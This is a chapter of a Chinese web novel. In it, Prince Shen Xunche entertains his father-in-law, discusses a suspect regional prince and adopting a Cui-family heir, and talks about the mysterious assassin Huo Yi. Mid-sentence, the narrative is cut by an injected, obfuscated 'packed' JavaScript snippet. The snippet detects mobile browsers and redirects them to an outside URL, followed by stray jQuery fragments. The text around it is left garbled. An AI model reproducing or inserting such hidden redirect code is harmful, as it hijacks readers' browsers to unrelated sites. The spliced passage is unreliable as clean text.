29. 第二十九回
作品:《她其实是来渡劫的》 ——
一月洛阳,满城挂彩。
该是新年贺喜的时候,王府里近日迎来送往的客人甚多,更重要的是今日崔家人也到了洛阳城内,王府内又多了一番热闹。
只是霍意一连几日都还睡着,也不怎么关心这些。
沈寻澈虽是知道她偷懒,但听着曲怀序也说她确实是进步了不少,往日里她只会认字,可现在连着学了一段时日她也已经能写字写论了。霍意实在是个聪明人,悟性很高,稍加勤奋便好,闻言这般,他倒是也睁一只眼闭一只眼了去。
冬雪尤甚,雪风不减半分,朝会刚过,沈寻澈刚出了宫,还等着崔将军。
他这次回京复命,升官加财,他却也甚是满意。
在宫门处等了半刻,抬眼来瞧,正有几道黑色身影缓缓走了来。
“参见沈王殿下,殿下万安。”崔将军走近来规矩的行了礼,但沈寻澈也连忙按住了他的手只说不用。
“岳父大人无需这般多礼,你我至亲,又何须这般生分?”他低眼来瞧,也都发现崔将军的头上多生了几根白发,这皮肤也变黑了一点,在外行军平乱果然是个耗心神的事。
沈寻澈还软着话,但虽是这么说,崔左司和崔宥齐也还是客客气气的,不敢失了半分礼数。
“见过殿下。”崔宥齐也还抬手做礼,听着了他的声音沈寻澈也转眼来看了看。
“宥齐?长高了?长大了?”
“今年该有十八了吧?”之前见着也还小呢,还是个不高的娃娃,但如今也已经是个端正的少年郎了。
“呵,这小子之前胆子还小得很,跟在我身边历练了几年,现在倒是看着更沉稳了些。”崔将军的话里其实也藏着份欣喜,倒是没将崔宥齐给养废。
不过崔宥齐听罢还咳嗽了两声,好似受着这样的夸奖他这面皮还有些薄,也有些挂不住。
“是啊,的确看着长大了,也是成熟了不少。”
“王府里已经为岳父和家人备下了接风宴,岳父大人请移步,我们边吃边谈?”沈寻澈一力想要将他们给迎回去,明言王府里都已经做好了准备。
崔宥齐听后还转眼来瞧,他没有权力决定回哪里,还是崔左司能说了算。
他也面露犹豫之色,沈寻澈也看了明白,又解释道,“岳父大人,我还有事要与岳父大人相商,刚刚皇上说的事岳父可还记得?”不只是私事,也是为了公事的。
添了这话,这理由好似也更充分了些,他就是怕崔左司会拒绝,但他想了想,也还是点了头,还是该去登门问安的。
-
沈寻澈和崔家人回王府之时沈安昭的人走来了他身边低声回报了一句,说是霍意姑娘知道王府内如今有新客在,她不想打扰,就说这几日先去客栈住了,就先不回来了。
她是溜得快,沈安昭都还没见着她的人,就只看见了她留下的一封书信,上面的字也是竖竖歪歪的,反正意思大致就是如此。沈寻澈听后也没有多说什么,只是吩咐了沈见去找人暗中看住她,不许她出洛阳城,但或许她与崔家人如今是不大合适相见,有那么一瞬间他可还觉得霍意这是想的挺周到的,她也不尽然是毫无规矩嘛。
晚饭已用,崔家的其他人都已经下去休息了,沈寻澈和崔左司还在书房对弈,两人还有话说。关好了门窗,这书房内烧了炭,也没那么冷。
“岳父大人之前在西南之地平乱,也不知道蜀地郡王一事是否属实?”他也还没忘记这茬,之前一直按着皇帝,朝廷也是迟迟没有给他回复,不知晓如今蜀地郡王心中又是作何感想。
沈寻澈早先也告诉了崔家人要去探查矿脉的事,现在见着了崔左司点头他也是更明白了些。
“其实若是郡王发现了矿脉倒是没那么紧要,最怕的就是他还有谋逆之心。”崔左司也表达了自己的看法,蜀地郡王此举到底是不是在伪装一时可还说不清。
“这我也知道。”
“我也是怕他会跟外族勾结,意图谋乱边境。”沈寻澈的话里还藏着隐隐的担忧,若不是顾虑到这层来,那这铸币权他想要他也便给了。
“今时宫内皇上和太后之间的对决拉扯也还没结束,我之前在皇上跟前找了很多借口才将这个事给拖住敷衍了去。”“我和皇上已经商议过了,之后找个由头会宣召蜀地郡王来洛阳,到时候我再跟皇上决议此事。”
“在他到洛阳城的这段时日里我也可好派人去调查其他的事。”他安排的很好,也是自有打算,而边境的布署也同样很要紧。
“之前皇上决心将蜀地交给他作为封地时我便觉得不妥。”
“但碍着皇室,我也不好直接就站出来说反对此事。”他已经说了好一段的话,崔左司安坐着也一直静静的听,手中的棋子还在反复斟酌,还没落定。
冬来夜里清客结霜,人语稍歇,风过的声音还很清晰。
“殿下心里有自己的打算便好。”
“我也是担心郡王会有私心,但所幸他现在的权力也并不够大。”崔左司轻轻的点了点头,他能考虑的事也仅仅是在这些军士布防之上了,其他的自然还是沈寻澈顾虑的更多。
“莫说其他的事了,我观殿下面容,殿下似乎憔悴了不少?”他的话逐渐变得更和缓了些,这是长辈对晚辈的关切,沈寻澈听后也忽然一愣,但反应了来也只是摇头。
“也没什么,就是最近要处理的事更多了些,所以一直都没什么闲空罢了。”
“之前我跟皇上提议要改革府军,我最近也还忙着这事。”他这个中书监大人也总是有忙不完的公务。
“哦。”
崔左司其实没多在意沈寻澈刚刚所说的一堆公事,他其实也有自己的一番话想说。
“阿巡啊,其实我想说的也不是这个。”今夜与他对弈谈话,却也不是只来谈公务的。
沈寻澈听后再抬眸,他睁着眼睛,又示意他可继续,都是一家亲人,也没什么话不可以说的。
“岳父大人请说。”他愿意听,也愿意想。
冬日里花无百日红,这会儿能闻见的也只是一阵癯仙梅香。
崔左司微抿了一口淡茶,缓了缓,又道,“阿巡,之前你来信说想要过继崔家孩子为你沈家日后的继承家主,刚看到信时我虽是有些犹豫和惊愕,但也还是按照你的吩咐为你选了崔家长房一门的一个庶子。”
“他是宥成的孩子。”崔宥成是崔书云的弟弟。
“只是现在当着你的面了我还是想说一句,若是你心里还是有些别的主意那可还是要想定的好。”他这话像是在劝告,也像是有拒绝之意。
沈家过继崔家的孩子,他也能明白沈寻澈是还在为崔家做补偿。
“其实阿巡你也不一定要这样做的。”崔左司还面露不妥之色,这不管是收养还是过继,终归也是没有自己亲生的孩子来的好,更何况沈寻澈今时也不过二十六七岁,要是想有自己的亲生孩子也不是不可以。
崔左司还是觉得这样很不妥,但沈寻澈是主意已定,若非这样,那他也不会这样写信去了。
“岳父,我知道你的考量。”
“但我过继崔家的孩子也是为了书云。”
“我答应过她会扶持崔家护住崔家的。”
“她的家人我也会好好照顾的。”
“您刚刚也说了,那孩子原本只是一个庶子,但若是他到了我沈家来,那他便是王府未来的家主。”
“我的爵位日后也会让他来承袭。”
“这样对他,对崔家,对沈家也都是有利的。”
“岳父的思虑我知道,但我主意已定,等那孩子到了洛阳城来他便是我沈寻澈的孩子了。”他的话语坚决肯定,显得并不踌躇,知道再也劝不住了,崔左司也还是做了罢。
“那孩子有我身边的人护送着,想来再过几日他应该就会到这儿来了。”
“他虽是庶子出身,但他的生母是良家子,身世清白,也不是什么女奴偏妾。”
“我选了他也是觉得那孩子看着清秀聪明,是个知礼数的。”崔左司继续还补充着,沈寻澈听罢还淡淡一笑,他之前只是看过那孩子的画像,也还没见着真人。
他已跟沈安昭提了过继的事,她也派了人去崔家看过,崔左司如今说的话倒是与沈安昭的人所描述的大致不差。
“人已经选定了,我也没什么犹豫的了。”沈寻澈也放了心,往后既是自己的孩子了,他当然也会好好教导。
“其实……其实殿下也可再娶妻的。”
“虽然书云去了,但这么多年了,难道殿下也还没走出来?”他最后还是点明了这句话,抬眼来望着对面人的眉目,沈寻澈还皱着眉,似还绕着一股清愁,如远山云雾,还未散去。
眼眸中所映之景好似还是一片荒凉冷清的茫茫沙野,一顿愁绪还似密密的雨点斜打在无风之墙上。他心里有愧,这么些年来也一直都是抱着遗憾过的。
雪里梅香依旧,崔左司的叹气声伴着雪落的声音还清晰的响在了书房里。他人如今也是老了些,提起了自己的长女崔书云心中也是隐隐有番疼痛。
“殿下,书云若是还在,她也不希望你变成这样的。”他也在假设,仿若眼前所见的人也不止是沈寻澈,也还有他的女儿。
“作为你的长辈,我也不希望你如今还有着这般的执念。”言辞恳切,并非虚假。
崔左司的言外之意沈寻澈又怎会听不出来。
“小婿知道。”
他点了点头,但却没再多言。
他已经二十七岁,但前二十几年的如晦风雨仿佛就像在他的身上加上了一把锁,捆住了自己,还捆住了自己的心。自崔书云走后,沈寻澈扶持了司马宇即位,自己也受封成为了现在的沈王殿下,他为崔书云披白悼念了三年,三年早过,可现在也还放不下。
沈安昭也已经明里暗里的向他表露了多次,他应该再娶妻生子,要不然沈家家业又如何而继,只是沈寻澈连皇帝赐婚都敢拒绝,她劝了好些次,见着无果也还是做了罢,随他去了。
若只论真心,这世间的姻缘情意也最是难求的。
“洛阳城内高门世家女子如此之多,难道你还没遇见一个合适的?”崔左司再转了话题,这副口吻像是在开他的玩笑。沈寻澈再转了眼,低了头,心觉不大自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268891|198110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然,听着自己的岳父说起这样的事,他反而还觉得有些奇怪。
“呃,公事繁忙,我还没这么想。”这么些年了,他并未多心。
沈寻澈的眼神再落回到了身前的棋局上,他还是更在意这个,崔左司见他这般躲闪的样子也还是抿嘴一笑。
“其实在我回洛阳城不久就先听闻了一件事,但也不知是真是假?”他还是想来求证,笑意还不减,也更像是八卦。沈寻澈闻声又抬起了头来看,还等着他的话,也不知他所指的是哪一件事。
“嗯,”
崔左司还在组词,他也已经听说了霍意的事。
“我听闻王府中已经住着一位沈王妃了?”
“还是位姝色绝世的女子?”
“听闻她是来报恩的?”这事听着倒是有趣,崔左司现在对这位神仙人物也颇为好奇,但沈寻澈突然闻言如此,心中也有刻慌乱,“岳父别误会,此事是另有隐情。”
他急着辩解,好似在急着撇清自己与霍意的关系,她不是什么沈王妃。
“那个女子不是来做沈王妃的。”她哪里是真心,明明是别有企图。
他一下便敛眉收笑,崔左司却没仔细听着他刚刚口中说的另有隐情四个字,沈寻澈此时的神色反应他都看在眼里。他是过来人,又怎么会不懂。
桌上茶水早已经生凉,这冬日里夜愈深,雪亦愈重。
沈寻澈对崔左司说了两句实话,若不是因为霍意是那夜突入洛阳城来的刺客,又加之她想要的那个东西是跟白虎谷被坑死的数万军士有关,他也不会留着她在王府中。她到底是谁,他心中也还没一个确定的答案。
“她实在是奇怪,我总感觉她是从哪个山头里被放出来的,但我也还没查到,所以就一直留着她在这里。”这事还值得探究,其中还有古怪。
他说了许久,嘴也生涩了些,也真是担心崔左司会误会,这话里三番两次的都还在强调自己对这个女子其实无意,而崔左司明眼见着他这般欲盖弥彰的样子心里也大抵是明白了些,说的再多也不如亲眼一见。
“原来如此,真是有趣。”
“说起来都一整日了,我都还没见着她呢,她不在吗?”他是还想看看这洛阳城内所传的话是不是当真,也想瞧瞧这令人生惧的沈王殿下又是如何被撩动心弦的。
“呃,她出去了。”
“不在府里。”沈寻澈听罢还轻声叹气,这人可是不好管的,霍意一天可是能上房揭瓦的,没看住一会儿便是满城的乱跑,会惹麻烦。
“她性子不娴静,坐不住,时常出去玩闹,我不想引起她的怀疑,也随了她去。”
“哦,原来是这样。”
崔左司也听懂了他的话,他也没有想到这样的女子居然跟当年白虎谷的案子有关。
“那她是不是当年存留下来的人?如今这般找着借口来接近你是要寻仇?”崔左司暗自再做了番揣测,这样的美人计又是谁会来使?这洛阳城内还真步步都是陷阱啊。
“应该不是。”
“年龄对不上,霍意眼看着也就十七八岁。”
“而且,她如果是来寻仇的话那可能整个王府都已经没剩下几个人了。”这句像是在说笑,但也是实话。
“霍意的身手武功都不低,那夜闯来的刺客就是她。”他还补充说了些细节,霍意的身手跟自己相比也是不分高低,要是真打起来,她也可能会占上风。
“她竟这么厉害?”崔左司听罢心中也甚是惊诧,又觉这样的美人好似也很危险。
“嗯,我也是想先将她留在王府里,也会派人再去查查她的身份。”
“她既然是跟那件事有关,我也不会轻易的就放了她走。”沈寻澈是落定了这主意,但崔左司也还觉得不妥,“可你刚刚也说了她身份不明,就这样将她留在王府会不会很危险?”他还是担心这个,她是个隐患,又怎么可以长留在身边呢。
沈家虽然人少,但也该防备。
“岳父暂且宽心吧,这人虽身份不明,但她性子直率,大大方方,现在住在王府里她也会收敛几分本色的。”“再者,她对姑姑其实也很好的。”沈安昭还算是喜欢她,这也算是得缘了。
但再想到这里他也仍是觉得有些好笑,霍意对着自己一会儿那脸色又是献媚讨好的,一会儿过了那脸色又好似天雷阴雨一样,她真的好像精分了。不过看了这么久了霍意对沈安昭也是真的尊敬,像是出自本心,有时候姑姑也会帮她说话,沈寻澈也还猜不透这内情。
“或许她是心里还藏着什么事,我再等等吧。”
“等着那孩子到了洛阳来我也便放心了。”这才是眼下要办的事。
在崔家还没来之前,他已经让人去准备好了一切事宜,祠堂那边也已经打扫规整,过继的事也是要走完一遍明确的流程的。沈寻澈说完了话也放下了手中的棋子,局势已定,输赢已分,算是险胜了。
“殿下的棋艺还真是日益精进了,我也是不能再胜了。”崔左司笑着摇头,这局倒是输的实在。
茶水已无,梅香渐淡,见着夜深,停了话,沈寻澈送了他出去后也回了屋去歇息了。

